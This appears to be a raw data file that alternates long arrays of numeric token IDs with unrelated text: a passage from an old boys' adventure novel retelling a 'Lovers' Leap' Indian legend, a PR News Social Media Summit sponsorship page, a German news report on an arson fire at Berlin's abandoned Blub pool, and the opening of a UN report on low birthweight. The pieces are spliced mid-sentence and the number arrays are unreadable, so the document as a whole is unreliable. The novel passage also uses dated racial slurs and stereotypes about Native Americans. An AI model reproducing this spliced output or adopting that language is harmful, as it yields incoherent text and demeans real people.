5486, 2717, 5321, 2457, 9232, 13, 1014, 2167, 597, 497 ]	a puzzled way. “What’s he talking about?” he asked. “Injuns!” hissed Piper, unabashed. “We pioneers know full well the perils that menace us in this redskin haunted land, but years of experience amid such dangers have taught us to baffle the varmints. Those who lack our knowledge should cling close to the settlements, where they may seek the protection of the block houses whenever the pizen warriors go on a rampage.” The visitor turned from Sleuth to Grant. “Anything the matter with him up here?” he asked, touching his forehead. “Nothing but illuminated literature,” answered Rod, laughing. “At home Piper has Sherlock Holmes and Old Sleuth backed against the ropes, and groggy. He’s the greatest detective that ever solved the mystery of a dark and terrible crime. Here in the woods he is the emulator of Daniel Boone, Simon Kenton and ‘Deadeye Dick, the Boy Scout of the Border.’ That’s all.” “Oh, I see,” laughed Granger. “It’s the effect of a vivid imagination, spurred by a line of reading that some fussy people call pernicious. I fancy he’ll get over it in time and be none the worse for it.” Which caused Sleuth to snort disgustedly. “Speaking of Indians,” pursued the visitor, “I suppose you’ve heard the story of Lovers’ Leap? That’s the cliff over behind the hotel, the top of which is marked by that white cross which you can faintly discern against the sky.” “Well,” replied Crane, “we’ve heard something abaout it.” “It’s a most romantic legend,” said Granger glibly. “In the days before the invading whites drove them out, two small, warlike tribes of Indians, the Passagonquays and the Mattagamons, were almost constantly at war over this particular territory, which was coveted by both. Even in times of peace these tribes had little in common and shunned each other as far as possible. According to the story, Lolokana was a beautiful princess of the Passagonquays, and Agamenthan, a young brave of that tribe, desired her to brighten his wigwam. But, for some reason, Lolokana had no use for Agamenthan and steadily repulsed his wooing. One day while Lolokana wandered alone in the forest she was attacked by a panther.” “Who says there are no cougars hereabouts?” muttered Piper. “The princess would have been slain,” continued the narrator, “only for the prompt and fortunate appearance of a tall, handsome young brave, who rushed to her rescue and slew the panther with his knife. The young Indian was wounded, but not seriously. His name was Woganock, and he was a Mattagamon. Nevertheless, in spite of the hostility between the two tribes, Lolokana promptly fell in love with Woganock. Of course they knew their love-making would not meet with the sanction of their people, and therefore it was carried on in secret through clandestine meetings in the woods. “But Agamenthan was keeping a jealous and watchful eye upon Lolokana, and one day he followed her and saw the lovers meet in the forest. Without hesitation he rushed upon Woganock, shouting for him to defend himself. Armed only with their knives, the two young braves fought a bloody battle, in which both were badly chopped up. Woganock conquered, however, and Agamenthan was left apparently dying upon the ground. “Supported and aided by Lolokana, Woganock, though desperately wounded, made his way back to his tribe. But when he told the story of the battle and confessed his love for Lolokana his father, a chief, rose in wrath and drove the princess away, vowing that no Passagonquay should ever take a Mattagamon for his squaw. Weak and helpless, Woganock could not lift a hand in remonstrance, and doubtless it would have availed him little had he been able to do so. “Lolokana returned to her people and learned, to her astonishment, that Agamenthan had been found by some warriors, who had bound up his injuries and brought him back, alive, to the village. He must have been a tough one, this redskin, for he did not die. However, he told the story of the duel with Woganock, and thenceforth Lolokana was held practically a captive by her father, who promised Agamenthan that she should become his squaw. When the wounded brave recovered his strength and health he was to have her, whether she wished it or not. “Now, as it affects every girl of spirit, this attempt to coerce her against her will made Lolokana only the more determined that she would never belong to Agamenthan. If she had lost Woganock, if she was to see him no more this side of the Happy Hunting Grounds, she was resolved that she would die the squaw of no man. A prisoner, watched vigilantly by night and by day, she dreamed splendid dreams of a reunion with the lover who had saved her from the panther and defeated the warlike Agamenthan in a fair and even battle. For, even as she had been driven away by the angry Mattagamons, although he could make no effort to shield her and could scarcely whisper a remonstrance, Woganock had cast her a look from his dark eyes that was a pledge and a promise. So she waited for him to come, confident that sometime he would do so and take her away. “At last, however, she began to fear that she had waited in vain, for Agamenthan, bearing many terrible scars upon his person, had recovered his strength and was asking of her father that the time should be set when he could lead her to his wigwam. Though she knew of these councils and of the impatience of the young brave, Lolokana kept her lips sealed—kept her dark lashes always lowered, that Agamenthan might not read in her eyes the resolve to die rather than submit. A knife, which she had found, was hidden upon her person, and this, if nothing else, would enable her to escape at the last moment. One strong, swift thrust deep into her bosom would set her free. “At last the day was named, and the chief of the Passagonquays told his daughter that on the morrow she was to become the squaw of Agamenthan. That night she did not close her eyes in sleep, although, lying quite still, without a single movement to arouse suspicion, she led her vigilant guard to believe she slumbered. It was her purpose to try to creep forth from the teepee in the darkest hours and take flight. “As she lay thus she heard something—the faintest rustle, like the movements of a toad in the leaves; yet something told her it was not a toad, and, with her heart pounding, she listened and listened. Presently she heard her name whispered almost in her ear, and she knew it had been breathed by the lips of Woganock. She knew her lover had come at last. With all the skill and stealth of his race he had crept into the village, not even disturbing a sleeping dog. He was outside the teepee; only the thin wall divided them. “Lulled by her apparent submission to the decree of her father, the chief, the guard dozed. Woganock’s hands found his throat and strangled him with scarcely a sound. Then, with the same caution, he led Lolokana out of the village and away into the black depths of the forest. “What had happened was not discovered by the Passagonquays until morning dawned. Then, as you may believe, there was something doing. The old chief called upon Agamenthan to bring the princess back, and Agamenthan promised to do so. With a dozen young warriors at his heels, he took up the trail. Three days and three nights they pursued the fleeing lovers with the tenacity of bloodhounds. Early on the fourth day the pursuers closed in upon Woganock and Lolokana, for the princess was weary. The moccasins were gone from her bleeding feet, and even Woganock’s great strength had been terribly taxed through bearing the maiden in his arms over many of the rough places. They were trapped in the mountains yonder. No matter which way they sought to flee, they found themselves cut off, and eventually, with the pursuers closing in, they were driven out upon the very brink of that great cliff where the cross now stands. They could not descend, and to turn back into the forest from which they had come meant nothing save final capture, even though they were
[ 320, 1270, 281, 3894, 342, 11651, 665, 497, 7591, 281, 8041, 15, 34692, 17979, 3918, 13, 22840, 33556, 187, 187, 42, 6311, 625, 275, 581, 1388, 685, 309, 457, 306, 6311, 512, 807, 2, 9966, 273, 1457, 11263, 387, 253, 2448, 15382, 7115, 187, 187, 42, 369, 594, 17847, 342, 253, 4583, 2362, 15, 380, 3290, 273, 253, 27228, 369, 1755, 14, 1439, 348, 13, 285, 253, 3745, 281, 2990, 342, 751, 14, 23674, 952, 1309, 253, 13471, 285, 387, 11157, 369, 38089, 15, 9966, 13, 11841, 11263, 18817, 13, 34520, 13145, 187, 187, 1552, 369, 581, 273, 253, 1682, 27691, 309, 457, 306, 2455, 11612, 15, 8404, 11263, 15821, 13, 427, 1920, 3737, 187, 187, 42, 1869, 352, 369, 16088, 4623, 281, 253, 8446, 15, 309, 7428, 1977, 342, 2067, 2234, 5697, 326, 309, 476, 457, 85, 3343, 281, 3359, 327, 619, 8548, 11136, 15, 9060, 5259, 17528, 12743, 13, 8148, 983, 251, 2499, 187, 187, 56, 9631, 1020, 285, 47860, 2362, 275, 534, 309, 651, 751, 281, 452, 619, 2862, 2285, 10078, 13, 1690, 690, 8548, 15, 16480, 16155, 13, 16132, 21444, 22717, 84, 187, 187, 1147, 369, 247, 15143, 2362, 13, 285, 1142, 273, 253, 8130, 8549, 3063, 588, 4151, 776, 2567, 457, 84, 2675, 3420, 7823, 4886, 3579, 15, 15650, 6317, 1294, 21639, 13, 10286, 12664, 187, 187, 28488, 8537, 17999, 15, 32161, 3179, 10498, 11709, 15, 309, 2427, 896, 281, 253, 3906, 12832, 342, 247, 3289, 36863, 273, 11222, 281, 7409, 15, 5220, 13, 1270, 5697, 323, 4413, 342, 1698, 35905, 15, 22827, 15, 9966, 273, 40254, 25694, 285, 21506, 13, 15964, 47, 187, 187, 6104, 790, 263, 187, 187, 3404, 253, 8404, 11263, 31692, 3559, 407, 4653, 6317, 13, 34423, 588, 3986, 8307, 273, 10924, 13, 9137, 285, 5865, 12440, 2819, 281, 3157, 616, 2675, 3420, 8130, 285, 30278, 15, 29355, 441, 347, 247, 1869, 6657, 387, 436, 7870, 4491, 2362, 407, 7552, 247, 28924, 3063, 15, 187, 187, 4350, 35427, 1372, 5648, 3123, 378, 1400, 16462, 24265, 2949, 39938, 27, 187, 187, 7093, 18479, 327, 512, 9137, 285, 2362, 4753, 187, 187, 19, 48301, 12960, 11999, 323, 634, 4750, 187, 187, 16135, 14, 6377, 519, 275, 253, 8041, 1796, 789, 3305, 187, 187, 3, 22, 19348, 1422, 40713, 626, 13665, 3, 1618, 670, 634, 2567, 2908, 275, 253, 8041, 1796, 789, 3305, 285, 2362, 4422, 187, 187, 35, 4902, 281, 3148, 634, 38786, 4753, 275, 247, 1029, 3174, 7137, 2170, 187, 187, 23857, 494, 35625, 13630, 2127, 281, 5007, 281, 634, 8548, 285, 11651, 281, 8041, 253, 8059, 187, 187, 28326, 5107, 323, 634, 9165, 187, 187, 42153, 32268, 281, 1246, 2561, 432, 634, 6003, 187, 187, 1845, 4694, 273, 253, 8041, 1796, 1618, 342, 2120, 3057, 1491, 187, 187, 31090, 673, 1309, 253, 2362, 835, 368, 1833, 452, 253, 4839, 281, 1218, 567, 282, 745, 271, 5382, 187, 187, 19824, 272, 9091, 342, 36994, 187, 187, 2809, 483, 14, 8349, 327, 2675, 3420, 285, 327, 3924, 387, 253, 2362, 187, 187, 11778, 643, 38786, 3198, 32, 1422, 476, 36219, 247, 38786, 5522, 15, 15908, 610, 13, 7214, 247, 22397, 11057, 273, 49329, 15306, 84, 403, 26006, 2, 1198, 1491, 670, 38786, 12149, 13, 4496, 3057, 37073, 26211, 387, 465, 84, 22541, 33, 10773, 34291, 15, 681, 15, 187, 187, 4967, 49329, 263, 253, 8404, 11263, 31692, 32, 187, 187, 1785, 607, 3061, 14, 16126, 285, 22251, 665, 871, 253, 6349, 273, 1907, 253, 987, 3580, 285, 3238, 323, 616, 2675, 3420, 6031, 187, 187, 17964, 327, 4288, 4815, 285, 2525, 342, 634, 1655, 6383, 285, 2442, 747, 8548, 275, 581, 7408, 187, 187, 41803, 247, 747, 1885, 390, 2579, 281, 3061, 14, 16126, 275, 253, 2675, 3420, 3114, 187, 187, 3175, 6317, 443, 1644, 8247, 342, 5721, 7022, 3968, 187, 187, 510, 5721, 7022, 3968, 2990, 310, 253, 5674, 457, 84, 6253, 9836, 23635, 14, 1661, 2778, 6003, 342, 1052, 2739, 10907, 285, 3925, 13, 933, 2739, 20018, 2246, 285, 11484, 5659, 15, 20058, 342, 4292, 13, 45643, 13, 9341, 285, 2208, 359, 476, 990, 23635, 15, 329, 5110, 273, 253, 4653, 6317, 8, 8404, 11263, 31692, 13571, 6224, 588, 564, 281, 5721, 7022, 3968, 15, 3351, 299, 3296, 267, 3855, 45340, 10278, 14367, 346, 5622, 538, 3, 275, 12911, 14, 19189, 91, 10863, 717, 5037, 1216, 296, 356, 357, 423, 9416, 14038, 10278, 22374, 16506, 463, 9108, 5756, 15, 29744, 42981, 91, 23424, 3307, 530, 6285, 35424, 1784, 3105, 579, 71, 9416, 15, 346, 35567, 32624, 312, 442, 399, 607, 13, 299, 32189, 14671, 3809, 9527, 36827, 2721, 2071, 538, 13, 2870, 384, 275, 2884, 3681, 257, 995, 18561, 442, 9416, 5721, 10207, 664, 6285, 1033, 2845, 379, 15, 5329, 361, 43553, 9296, 35782, 711, 898, 933, 43553, 9296, 35782, 7753, 39583, 399, 3844, 1462, 257, 298, 469, 350, 77, 1368, 275, 2884, 3681, 257, 27, 34120, 346, 55, 2555, 22374, 995, 21650, 1578, 516, 401, 607, 75, 1662, 251, 344, 74, 10278, 85, 15, 9362, 2884, 3681, 257, 5172, 445, 5807, 251, 8449, 359, 4835, 10736, 396, 864, 15, 329, 12914, 418, 2381, 10629, 34632, 33332, 3807, 11858, 5721, 10207, 664, 6285, 282, 1137, 269, 6968, 445, 275, 1850, 444, 968, 16859, 15, 187, 187, 7510, 10207, 664, 6285, 1948, 3241, 346, 688, 26159, 606, 83, 1648, 3, 490, 67, 2845, 864, 187, 187, 22903, 418, 28544, 3615, 15932, 257, 9374, 2711, 25724, 15747, 12606, 737, 1504, 1784, 418, 486, 5807, 88, 1321, 304, 15, 346, 19932, 378, 26063, 10863, 46620, 2298, 505, 304, 3807, 711, 664, 1541, 320, 21971, 3767, 19129, 3150, 418, 2381, 10629, 71, 24452, 2721, 4079, 13014, 275, 659, 437, 1947, 995, 594, 1784, 2101, 2845, 379, 15, 34120, 418, 2381, 10629, 13449, 32925, 296, 43715, 15701, 3150, 5721, 10207, 664, 6285, 282, 1137, 20648, 5549, 248, 3471, 282, 1541, 257, 611, 14983, 15, 9362, 444, 968, 16859, 3026, 272, 17079, 5172, 445, 5807, 88, 1321, 304, 27, 346, 14132, 3471, 384, 8449, 5061, 1058, 7068, 9838, 15, 41436, 298, 2381, 45067, 27359, 8449, 7331, 39583, 3807, 19748, 9527, 443, 2275, 1392, 2496, 259, 24452, 9163, 249, 14671, 36109, 1811, 27252, 490, 67, 445, 26159, 298, 38740, 995, 18561, 442, 1784, 2101, 2845, 379, 15, 34120, 346, 688, 26159, 606, 83, 1648, 3, 44836, 490, 463, 9108, 5756, 19748, 278, 48067, 15, 187, 187, 8096, 8377, 262, 19803, 263, 1541, 288, 466, 10278, 1578, 24967, 1784, 5721, 10207, 664, 6285, 13, 3150, 418, 28544, 3615, 15932, 257, 259, 8824, 3354, 28547, 17542, 275, 1850, 657, 526, 770, 356, 288, 460, 249, 277, 1952, 1808, 15, 496, 1784, 28887, 298, 38740, 3150, 5721, 10207, 664, 6285, 282, 1137, 13, 21650, 5807, 251, 275, 1784, 427, 13261, 3471, 8186, 13, 9527, 443, 2275, 1392, 2496, 36109, 1811, 27252, 490, 67, 445, 26159, 15, 346, 35567, 10911, 10841, 442, 443, 2275, 1392, 2496, 10863, 299, 6839, 321, 91, 463, 71, 21243, 5784, 292, 995, 18561, 442, 15827, 2101, 2845, 29769, 15, 443, 27701, 898, 15, 938, 530, 6285, 42185, 637, 359, 2562, 4784, 41535, 77, 28544, 3615, 15932, 257, 6290, 348, 1392, 649, 17496, 15, 346, 22903, 399, 607, 32937, 21407, 44222, 711, 443, 2275, 1392, 14735, 1682, 70, 384, 32925, 285, 70, 2013, 16506, 2280, 3870, 4716, 30007, 1278, 257, 15, 399, 430, 5807, 88, 2585, 1578, 359, 2562, 995, 288, 466, 10278, 1578, 15, 187, 187, 7510, 10207, 664, 73, 1109, 1136, 516, 444, 968, 16859, 2336, 1059, 15701, 187, 187, 56, 21243, 5047, 711, 418, 2381, 9163, 968, 255, 13505, 40803, 9416, 5721, 10207, 664, 73, 1109, 1136, 2336, 1059, 15701, 15, 346, 56, 27701, 1784, 14473, 2721, 499, 16859, 442, 9416, 418, 2381, 10629, 10629, 4123, 976, 15, 12658, 24688, 3792, 40803, 8449, 1471, 3697, 4123, 976, 755, 287, 46756, 995, 18561, 442, 3150, 5721, 10207, 664, 6285, 1033, 2845, 29769, 15, 12658, 17672, 1948, 3241, 20648, 416, 3592, 1947, 8289, 1914, 296, 1888, 2061, 85, 19748, 13, 40803, 30562, 13014, 5807, 664, 6554, 2336, 1059, 15701, 15, 346, 59, 360, 4051, 27646, 35424, 9527, 44544, 27092, 1258, 469, 490, 995, 288, 466, 10278, 1578, 15, 12658, 5721, 10207, 664, 73, 1109, 1136, 48428, 2336, 1059, 15701, 20648, 399, 1914, 296, 490, 15, 187, 187, 8096, 8377, 262, 356, 16855, 356, 40362, 2145, 530, 6285, 6673, 5992, 70, 3150, 5721, 10207, 664, 6285, 13, 18117, 891, 6285, 444, 968, 16859, 275, 1784, 19523, 348, 76, 2371, 4781, 70, 320, 423, 292, 42185, 15, 346, 52, 3051, 69, 3150, 14473, 2721, 275, 1471, 443, 2275, 1392, 2496, 1578, 1182, 335, 38083, 296, 13, 19748, 3150, 21444, 693, 770, 2146, 25730, 250, 1780, 15932, 12606, 37337, 3767, 995, 18561, 442, 15827, 3130, 907, 11135, 2845, 29769, 15, 3697, 251, 717, 8377, 262, 19803, 263, 1541, 44674, 3150, 3130, 907, 74, 32624, 49394, 13, 18117, 23424, 2827, 16750, 8024, 76, 2477, 14543, 38677, 1784, 7188, 69, 13261, 12606, 21444, 296, 2094, 1947, 1682, 70, 248, 15, 329, 976, 3150, 5721, 10207, 664, 6285, 44674, 8377, 262, 356, 925, 26288, 12606, 21444, 296, 2094, 1947, 755, 5265, 85, 15, 346, 37, 447, 265, 5979, 5172, 445, 1578, 30562, 13014, 27359, 9416, 1349, 274, 1182, 46766, 33332, 615, 611, 6228, 995, 44674, 1578, 3471, 47664, 39583, 15, 187, 187, 26186, 1668, 15, 1229, 530, 6285, 716, 300, 442, 3150, 3130, 907, 74, 4784, 13, 18117, 3150, 21444, 693, 770, 77, 17079, 346, 312, 38188, 3, 2827, 1070, 17496, 396, 1914, 15, 346, 56, 343, 3471, 864, 359, 2562, 8449, 21444, 296, 2094, 1947, 16506, 13, 37241, 30562, 28547, 13014, 84, 24499, 21444, 2244, 2679, 256, 6533, 449, 187, 187, 55, 38853, 444, 968, 12271, 2721, 275, 1850, 1339, 91, 1866, 411, 406, 864, 187, 187, 38, 249, 2101, 2845, 379, 1784, 5721, 10207, 664, 6285, 18561, 442, 13, 637, 42185, 275, 1850, 2336, 26774, 35697, 411, 406, 864, 331, 1392, 2109, 304, 12606, 1471, 32737, 6841, 615, 516, 444, 968, 16859, 34381, 265, 257, 15, 9362, 18268, 460, 42185, 13014, 391, 11014, 304, 32624, 30373, 85, 34381, 265, 257, 13, 4204, 379, 396, 1914, 30070, 2325, 11135, 928, 1182, 46766, 33332, 615, 500, 814, 423, 29968, 37643, 46473, 277, 2156, 249, 9480, 606, 85, 15, 3173, 3344, 37502, 288, 21562, 299, 7564, 27366, 2745, 587, 1784, 7659, 413, 3471, 1288, 1136, 85, 13, 516, 4416, 579, 274, 1462, 15827, 10388, 328, 1240, 3090, 38489, 275, 2884, 3681, 257, 15, 187, 187, 5072, 6285, 30070, 380, 785, 401, 17499, 71, 308, 486, 23424, 5721, 10207, 664, 73, 250, 968, 16859, 275, 12911, 14, 19189, 91, 3173, 2071, 538, 1308, 1136, 442, 1578, 5807, 251, 46473, 187, 187, 21419, 296, 717, 32726, 680, 348, 2137, 9416, 401, 302, 42871, 275, 1471, 443, 2275, 1392, 2496, 8449, 479, 73, 250, 445, 353, 6841, 1216, 79, 20150, 12615, 257, 3807, 270, 3525, 538, 85, 25188, 13, 14350, 2827, 516, 496, 570, 445, 401, 302, 375, 256, 2942, 39583, 259, 2555, 442, 15, 9362, 416, 1392, 22651, 1308, 317, 864, 1471, 17672, 3150, 427, 511, 3807, 295, 1240, 3767, 45680, 3150, 21174, 3525, 490, 15, 23184, 45340, 10278, 14367, 1948, 3241, 6469, 359, 1541, 1465, 72, 1914, 23268, 353, 36212, 293, 305, 21099, 18585, 257, 19748, 15, 11586, 14726, 1905, 329, 42390, 747, 1304, 407, 530, 15, 47, 15, 11009, 285, 1345, 1786, 10071, 703, 1397, 1708, 327, 581, 273, 253, 6459, 14207, 281, 23066, 18740, 11762, 27, 1146, 5686, 342, 1698, 4201, 6712, 15, 380, 1304, 13, 3863, 3063, 275, 253, 4782, 3739, 6698, 380, 26763, 292, 11841, 4775, 13, 2296, 326, 5096, 6, 273, 253, 374, 15, 22, 3041, 48842, 665, 3150, 11762, 1046, 807, 403, 1698, 4201, 6712, 1905, 247, 11527, 9058, 326, 8607, 2868, 476, 320, 4391, 15, 187, 187, 11212, 36211, 13, 3738, 1264, 14, 14105, 273, 253, 1698, 4201, 6712, 18740, 497, 5686, 275, 10586, 10497, 285, 749, 14, 49713, 7531, 13, 253, 1895, 671, 346, 2013, 1550, 6832, 3, 275, 1029, 14, 20666, 4343, 275, 3060, 13, 3729, 3968, 313, 10387, 253, 530, 15, 52, 11507, 6976, 285, 1457, 12123, 13, 253, 2561, 2929, 2296, 15, 380, 1263, 369, 3542, 407, 10071, 432, 253, 3645, 4775, 17273, 313, 34315, 582, 253, 530, 15, 47, 15, 2151, 434, 6757, 7379, 8875, 39, 13, 285, 253, 4693, 4726, 273, 8305, 28944, 708, 308, 29289, 13715, 15, 187, 187, 21173, 621, 273, 18740, 387, 2495, 187, 187, 688, 4156, 2426 ]	be great to share with colleagues who were unable to attend. Associate Vice President, Finn Partners I learned more in one day than I’ve learned all year! Director of New Media at the American Heart Association I was so impressed with the overall event. The quality of the presentations was top-notch, and the ability to network with like-minded people during the breaks and at lunch was invaluable. Director, Global Media Relations, SAP AG This was one of the best conferences I’ve ever attended. Social Media Manager, Nautica I thought it was incredibly relevant to the audience. I walked away with several key ideas that I can’t wait to implement on my clients behalf. Chief Public Affairs Officer, Clemson University Wonderful and insightful event in which I would like to have my entire team participate, including some clients. Account Executive, Digital Brand Architects It was a fantastic event, and many of the strategies delivered today will inform our company’s social media policies moving forward. Online News Producer, Education Week Amazing speakers. Relevant Case Studies. I went back to the office literally with a fire hose of apps to investigate. Also, great ideas for companies with low budgets. Sr. Director of Corporate Marketing and Communications, MTN Sponsor At the Social Media Summit presented by PR News, sponsors will reach hundreds of communications, marketing and digital professionals looking to improve their social media strategies and SEO. Join us as a thought leader at this dynamic industry event by becoming a sponsor today. SPONSORSHIP BENEFITS INCLUDE: Your logo on all marketing and event materials 2 complimentary registration passes for your staff Full-page ad in the attendee workbook "5 Things You Didn't Know" list about your company included in the attendee workbook and event website Booth to display your sponsorship materials in a high foot traffic area Trackable VIP discount code to send to your clients and colleagues to attend the conference Speaking opportunity for your executive Opportunity to present research from your organization Provision of the attendee list with full contact information Face time during the event where you'll have the chance to raffle off an item Networking opportunities with attendees Shout-outs on social media and on stage at the event Have other sponsorship needs? You can customize a sponsorship package. Hurry, Only a Limited Number of Sponsorships are Available! For information about sponsorship packages, please contact Katie Sullivan at ksullivan@accessintel.com. Why Sponsor the Social Media Summit? Reach decision-makers and buyers who know the importance of having the right products and services for their social media efforts Save on travel costs and meet with your current customers and potential new clients in one trip Launch a new product or service to decision-makers in the social media community PR News Gives Back with Feeding America The Feeding America network is the nation’s largest domestic hunger-relief organization with 200 food banks and 60,000 food pantries and meal programs. Together with individuals, charities, businesses and government we can end hunger. A portion of the PR News' Social Media Summit ticket sales will go to Feeding America.Im ehemaligen Spaßbad "Blub" in Berlin-Britz ist am Donnerstagabend ein Großbrand ausgebrochen. Um kurz nach 22 Uhr ging der Notruf ein. "Das gesamte Dach, eigentlich fast das ganze Blub, steht in Flammen", sagte ein Feuerwehrsprecher. 4500 Quadratmeter des 9000 Quadratmeter großen Daches standen lichterloh in Flammen: Ein "Vollbrand", wie es im Fachjargon heißt. Die Flammen waren schon von weitem zu sehen. Acht Löschstaffeln und 140 Feuerwehrleute fuhren in den Einsatz. Feuerwehr musste "Innenangriff" abbrechen Die Löscharbeiten gestalteten sich aufgrund der Lage schwierig. "Der Boden ist sehr morastig und deswegen bekommen wir die Löschfahrzeuge nicht in Stellung", so der Sprecher. Ein Löschboot unterstützt die Feuerwehrleute vom nahe gelegenen Kanal. Die Einsatzbedingungen waren schwierig: "Da geht von uns keiner rein. Wir löschen nur von außen und werden das Gebäude wahrscheinlich kontrolliert abbrennen lassen", sagte der Sprecher. Ein "Innenangriff" habe abgebrochen werden müssen. Am Freitagmorgen hieß es bei der Feuerwehr, die Löscharbeiten würden noch bis in den Vormittag hinein dauern. In der Tat lassen die Feuerwehrleute, wie schon in der Nacht geplant, das Gebäude kontrolliert abbrennen. "Das komplette Gebäude ist einsturzgefährdet", sagte eine Sprecherin. Gegen 9.20 Uhr sei man weiter mit Nachlöscharbeiten beschäftigt. "Die Dachkonstruktion des Gebäudes besteht unter anderem aus massiven Holzbalken. Dort schwelt es weiter", hieß es. Feuerwehrmann im Einsatz verletzt Während des Löscheinsatzes wurde ein Feuerwehrmann verletzt. "Wegen der Hitze platzte ein Löschschlauch. Der Kollege wurde von dem Schlauch getroffen", sagte die Feuerwehrsprecherin. Der Mann musste vom Rettungsdienst versorgt werden, wurde aber nicht schwerer verletzt. "Zum Glück ging das relativ glimpflich ab", hieß es. Der Feuerwehrmann trat verletzt vom Dienst ab. Am Freitagmittag gegen 13 Uhr meldete die Feuerwehr, dass ihr Einsatz in der Buschkrugallee beendet sei. "Sobald die Hitze in dem Gebäude es zulässt, werden die Brandermittler ihre Arbeit aufnehmen", sagte eine Polizeisprecherin. Schon am Freitagmorgen hatte die Polizei gesagt, dass nach ersten Erkenntnissen der Verdacht auf Brandstiftung bestehe. Auch die Feuerwehr hatte Freitagfrüh auf Brandstiftung getippt. "Dieses Mal waren es aber nicht nur ein paar zündelnde Kinder", hatte es geheißen. Um 16.30 Uhr teilte die Polizei mit, dass die Brandermittlungen "am Ort" erledigt seien. "Wir gehen weiter von Brandstiftung aus, können aber noch nichts zur Brandursache sagen." Viele Einsätze in den letzten Wochen Ein Sprecher der Feuerwehr sagte, man sei in den vergangenen Wochen ständig auf dem Gelände im Einsatz gewesen. Die Ruine sei nicht richtig gesichert gewesen, daher seien zum Beispiel zündelnde Jugendliche immer wieder dorthin gelangt. Im Januar hatten ebenfalls Teile der Decke gebrannt, im Februar stand eine Saunahütte in Flammen. Mehr zum Thema Fünf Tage nach Feuerwehreinsatz in Berlin-Britz Im Blub brannte es schon wieder Erst am Mittwoch war ein Fotograf in dem Gebäude von mehreren Männern überfallen und beraubt worden, als er im Inneren Fotos schießen wollte. Die Räuber brachen dem Mann die Nase und nahmen ihm die Kamera ab. Das Spaßbad musste 2003 wegen hygienischer Mängel geschlossen werden.United Nations — A startling new report by U.N. agencies and public health experts sheds light on one of the greatest threats to newborn babies worldwide: being born with low birthweight. The report, published today in the British medical journal The Lancet Global Health, says that 80% of the 2.5 million newborns who die worldwide every year are low birthweight — a terrible trend that researchers believe can be changed. Significantly, although three-quarters of the low birthweight babies were born in Southern Asia and sub-Saharan Africa, the problem also "remains substantial" in high-income countries in Europe, North America (including the U.S.), Australia and New Zealand, the research paper says. The study was written by experts from the World Health Organization (WHO), the U.N. children's agency UNICEF, and the London School of Hygiene & Tropical Medicine. Millions of babies at risk In global terms
[ 253, 16773, 13, 285, 703, 1364, 2186, 617, 2133, 13827, 314, 16572, 281, 3148, 617, 31521, 1208, 15, 187, 187, 49, 3750, 47990, 313, 42093, 1253, 3680, 582, 253, 747, 39166, 13, 858, 1160, 247, 4512, 44619, 281, 253, 2069, 27, 650, 438, 3390, 314, 13, 344, 3534, 521, 295, 6356, 300, 691, 8766, 313, 28660, 25162, 10, 281, 253, 594, 14, 8890, 19407, 1332, 390, 4999, 2180, 273, 49907, 27, 247, 4475, 13, 342, 253, 8596, 273, 247, 5461, 11955, 13, 14777, 617, 2192, 797, 587, 9894, 13, 285, 253, 4564, 840, 29566, 2825, 1309, 326, 346, 22768, 3, 673, 13, 285, 20965, 1550, 387, 512, 643, 2069, 15, 187, 187, 2598, 20372, 369, 253, 1332, 1128, 28025, 981, 253, 2192, 797, 587, 2180, 476, 320, 13044, 745, 407, 247, 1083, 273, 253, 2938, 28, 407, 16184, 318, 313, 9453, 36513, 318, 2636, 1169, 533, 22086, 310, 1896, 558, 285, 407, 253, 2746, 273, 1821, 46763, 13, 672, 247, 3416, 434, 5880, 4850, 29281, 314, 259, 19074, 314, 1128, 3529, 253, 39166, 434, 44619, 30163, 264, 26984, 2190, 12773, 14, 23674, 24061, 15, 346, 49, 24470, 4483, 253, 4999, 1332, 984, 344, 6057, 352, 434, 417, 4999, 449, 2207, 346, 34, 4475, 434, 760, 4999, 2180, 310, 846, 2363, 21116, 449, 4386, 296, 6853, 2458, 1925, 253, 1332, 346, 55, 31725, 30497, 26137, 449, 187, 187, 424, 46, 3329, 31440, 6908, 1267, 3322, 35, 6570, 6019, 496, 958, 13, 18738, 253, 19407, 1332, 13, 436, 1355, 13860, 267, 18230, 13, 13711, 314, 13588, 2720, 6412, 28480, 327, 4201, 1453, 15, 11748, 264, 731, 327, 616, 1481, 15, 187, 187, 2214, 14020, 13, 253, 795, 7483, 64, 37620, 3451, 1921, 281, 5440, 4187, 369, 281, 42684, 2151, 15, 1292, 367, 3750, 47990, 13, 1563, 598, 327, 367, 3750, 34264, 13, 665, 1871, 816, 753, 326, 2825, 275, 7875, 369, 346, 12311, 285, 18465, 937, 3543, 13224, 326, 344, 13, 1512, 13, 812, 8107, 6412, 9551, 15, 496, 25124, 13, 344, 9713, 253, 4260, 44801, 273, 9972, 13, 9618, 272, 731, 327, 253, 31798, 897, 273, 253, 19407, 1332, 15, 187, 187, 25179, 13, 521, 28934, 13, 367, 3750, 34264, 13, 574, 26212, 4201, 1453, 37775, 20145, 322, 3751, 313, 10002, 48945, 253, 1307, 346, 25857, 1453, 2807, 323, 7738, 326, 6416, 17581, 665, 3078, 281, 2701, 253, 1979, 273, 616, 2021, 1537, 1611, 253, 346, 22768, 2180, 3, 1332, 15, 8079, 13, 436, 1332, 369, 660, 319, 1070, 2220, 275, 12300, 347, 247, 830, 273, 15577, 20971, 4063, 318, 1128, 284, 369, 512, 33755, 1293, 253, 6860, 281, 42684, 15, 187, 187, 49, 3750, 47990, 812, 417, 452, 46485, 521, 28934, 15, 1621, 581, 812, 452, 15, 367, 3750, 34264, 574, 1925, 795, 455, 64, 3082, 273, 49907, 346, 50055, 7242, 449, 496, 521, 17437, 546, 12642, 474, 795, 19447, 74, 30606, 538, 2886, 64, 1157, 344, 4767, 326, 17581, 665, 3177, 417, 281, 42684, 1128, 795, 455, 64, 15600, 13, 417, 816, 8370, 33097, 12012, 7432, 1411, 3753, 285, 4514, 247, 22793, 534, 310, 14816, 1020, 285, 45654, 30157, 449, 2656, 13, 14315, 253, 39166, 13, 346, 5992, 6655, 436, 5061, 27183, 494, 6617, 342, 253, 34620, 24307, 285, 556, 4536, 29163, 352, 342, 2471, 449, 187, 187, 27888, 323, 970, 247, 48348, 15, 14645, 323, 247, 5938, 285, 4475, 1907, 2825, 1309, 253, 4999, 2180, 15, 3954, 367, 3750, 34264, 434, 24193, 574, 14287, 253, 2471, 12339, 285, 253, 7977, 273, 15457, 275, 2743, 281, 253, 4999, 2180, 15, 187, 187, 25052, 1818, 369, 30361, 15, 496, 14657, 2825, 275, 3139, 347, 346, 12311, 285, 18465, 937, 367, 3750, 34264, 574, 7154, 342, 14020, 273, 4062, 15, 496, 6941, 253, 19407, 